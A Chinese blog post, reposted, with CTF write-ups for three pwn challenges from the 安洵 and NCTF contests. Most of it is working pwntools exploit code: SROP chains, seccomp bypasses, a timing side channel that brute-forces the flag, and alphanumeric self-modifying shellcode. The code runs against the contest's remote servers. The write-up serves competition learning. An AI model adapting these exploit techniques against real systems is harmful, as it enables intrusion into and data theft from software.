周末两个比赛3个小题

发布时间:2023年12月25日

周末安洵和nctf,因为不是学生也没报名拿附件作了一把。

安洵/pwn/side_channel , initiate

安洵的题很好,唯一的问题是把几乎所有的,有没有必要的都放了远程,而且服务器很差,好多题不是不会而是连不上。

这个题估计也给服务器造成了一定负担。题目通过seccomp作了限制,允许mprotect,open,read,sigreturn

?

这里是限制也是提示,显然是要用sigreturn填充寄存器,用mprotect将块作成可执行然后open+read由于没有write只能造循环判断是否正确。官方还挺良心,用的UUID并且去掉了壳,早说呀,爆起来就方便了。

from pwn import *

context(arch='amd64', log_level='error')

#rigreturn 
#int mprotect(const void *start, size_t len, int prot);
#0x404000 0x1000 7
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4

#mprotect(0x404000,0x1000,7)
frame = SigreturnFrame()
frame.rax = 10 
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x404168
frame.rip = syscall


def read_v(i,v):
    #p = process('./chall')
    p = remote('47.108.206.43',26111)
    #gdb.attach(p, "b*0x401193\nc")

    shellcode = "mov al, byte ptr ["+hex(0x404800+i)+"];mov cl, "+hex(v)+"; label:   cmp al,cl; jz label; mov rax,231; syscall"
    #print(shellcode)
    pay = flat(mov_rax_f, syscall, frame , 0, 0x404178) 
    pay += asm(shellcraft.open('flag') + shellcraft.read('rax', 0x404800,0x50))
    pay += asm(shellcode)    
    p.sendafter(b"easyhack\n", pay)
    p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404058, leave_ret))
    try:
        p.recv(timeout=0.5)
        p.close()
        #p.interactive()
        return True
    except:
        p.close()
        return False

dic = b'0123456789abcdef-' #b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{_}'
flag = ''
for i in range(len(flag), 50, 1):
    for j in dic:
        print(chr(j), end='')
        if read_v(i, j):
            flag += chr(j)
            print('=>',flag)
            break
    else:
        print('no found')
        break

pause()
#411b024e-a16c-11ee-88e5-00163e0447d0

安洵/pwn/Seccomp

怎么会同样的题放两道,而且后边这题更简单。ORW全了,并且有sigreturn,sigreturn直接用3次就行了

from pwn import *

context(arch='amd64', log_level='debug')

#sigreturn 
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4

#open(0x404060)
frame1 = SigreturnFrame()
frame1.rax = 2
frame1.rdi = 0x404060
frame1.rsi = 0
frame1.rdx = 0
frame1.rsp = 0x404060 + 0x110
frame1.rip = syscall

#read(3,0x404800,0x50)
frame2 = SigreturnFrame()
frame2.rax = 0
frame2.rdi = 3
frame2.rsi = 0x404800
frame2.rdx = 0x50
frame2.rsp = 0x404060+ 0x110*2
frame2.rip = syscall

#write(1, 0x404800, 0x50)
frame3 = SigreturnFrame()
frame3.rax = 1
frame3.rdi = 1
frame3.rsi = 0x404800
frame3.rdx = 0x50
frame3.rsp = 0x404060 + 0x110*3
frame3.rip = syscall

#p = process('./chall')
p = remote('47.108.206.43', 33287)
#gdb.attach(p, "b*0x401193\nc")

pay = b'/flag'.ljust(8,b'\x00')+flat(mov_rax_f, syscall, frame1 , 0, mov_rax_f, syscall, frame2, 0, mov_rax_f, syscall, frame3) 


p.sendafter(b"easyhack\n", pay)
p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404060, leave_ret))

p.interactive()

?安洵已经出了官方WP,可以去网站上看

nctf/checkin

不约而同又一个写shellcode的题,这题一晚上才作成。对输入进行了过滤,允许的比base64少处+号。

另外,prctl限制只允许read(0,x,1)

所以这题思路很简单,但操作起来麻烦,限制的数字和字母,组成shellcode真的很难。

首先要造一个read这样可以绕过过滤限制。

只有字母的话能pop填充只有rax,rcx,rdx,r8,r9,r10,而xor又不会改变高位需要用read在栈里的返回值造个高位为1的数,我这里选用了个0x88

但read只允许1字节这就要造个循环。一开始用loop,发现rcx会被read的返回覆盖。后来找到xor rsi,[r9]

而必需的s:syscall;inc rsi;cmp [r8],sil;jnz s;这里边的几个无法输入需要用xor生成。

1,先通过栈里的内容将r8->0x88 r9->20230000, rax=20230000

2,先修改rax作为指针再通过xor [rax],dh修改指向的值造后边无法写入的部分

3,最后写入shellcode ,open+n*read(0,x,1)+cmp + jmp进行爆破

from pwn import *

context(arch='amd64', log_level='error')

#只允许read(0,buf,1)
#shellcode仅允许 大小写字母数字 /

#利用rsp造指针,修改尾部生成syscall; inc rsi;  cmp [r8],sil; jnz s; 循环读0x100字节shellcode

#close(0)
#open('/flag',0)
#循环 read(0,0x2023100,1)
#l2: cmp [rsi],{v}; jz l2;
#stack [x,0,0x88,0x20230000] -> rsp [0x20230000, 0x88]
sc  = 'pop rdx;pop rdx;pop rcx;pop rax;'
sc += 'push rcx;push rsp;pop r8;push rax;push rsp;pop r9;' # r8->0x88 rax=0x20230000 r9->20230000
sc += 'xor esi,[r8];'  

pos = 0x6e #len(asm(sc))+0x30
sc += f'push 0x41414141;pop rdx;push rax; xor al,0x{pos:x};xor [rax],dh;' #4e44^4141 = 0f05
sc += f'pop rax;push rax; xor al,0x{pos+1:x};xor [rax],dh;'
sc += f'pop rax;push rax; xor al,0x{pos+3:x};xor [rax],esi;' #77 4e 6a 71 ^88 = ff c6 eb f6  inc rsi;loop s
sc += f'pop rax;push rax; xor al,0x{pos+4:x};xor [rax],esi;'
sc += f'pop rax;          xor al,0x{pos+9:x};xor [rax],esi;'
sc += 'xor rsi,[r9];'
sc += 'push 0x43;pop rax;xor al,0x42;push rax;pop rdx;' #rcx=0x7a; read(0, rsi, 1)
sc += 'push r10;pop rax;'
#'s:push r10;pop rax; syscall; inc rsi; cmp [r8],sil; jnz s;'  b'\x0f\x05H\xff\xc6A80u\xf3'


def getv(length, value):
    #p = process('./checkin-release')
    p = remote('8.130.35.16', 58002)
    #gdb.attach(p, "b*0x0000555555555764\nc")
    pay = (asm(sc)+b'\x4e\x44H\x77\x4eA80u\x79').ljust(0x88,b'P')
    p.sendafter(b"Give me your shellcode: ", pay)
    sleep(0.5)
    pay  = shellcraft.close(0)+shellcraft.open('/flag')
    pay += f'mov rcx,0x{length:x}; xor rdi,rdi; push 0x20230000; pop rsi; mov rdx,1; s1: xor rax,rax; syscall; inc r15; cmp r15,0x{length+1}; jnz s1;'
    pay += f's2: cmp byte ptr[rsi],0x{value:x}; jz s2;'
    pay += shellcraft.exit(0)
    p.send(asm(pay).ljust(0x100, b'\x90'))
    try:
        p.recv(timeout=0.3)
        p.close()
        return True
    except:
        p.close()
        return False
        

flag = '' #'nctf{checst-flag-ce}'
for i in range(len(flag), 50):
    for j in b'abcdefghijklmnopqrstuvwxyz{}_-!': #range(0x20,0x7f):
        print(chr(j), end='')
        v = getv(i,j)
        if v:
            flag += chr(j)
            print(':',flag)
            break

文章来源:https://blog.csdn.net/weixin_52640415/article/details/135207347
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。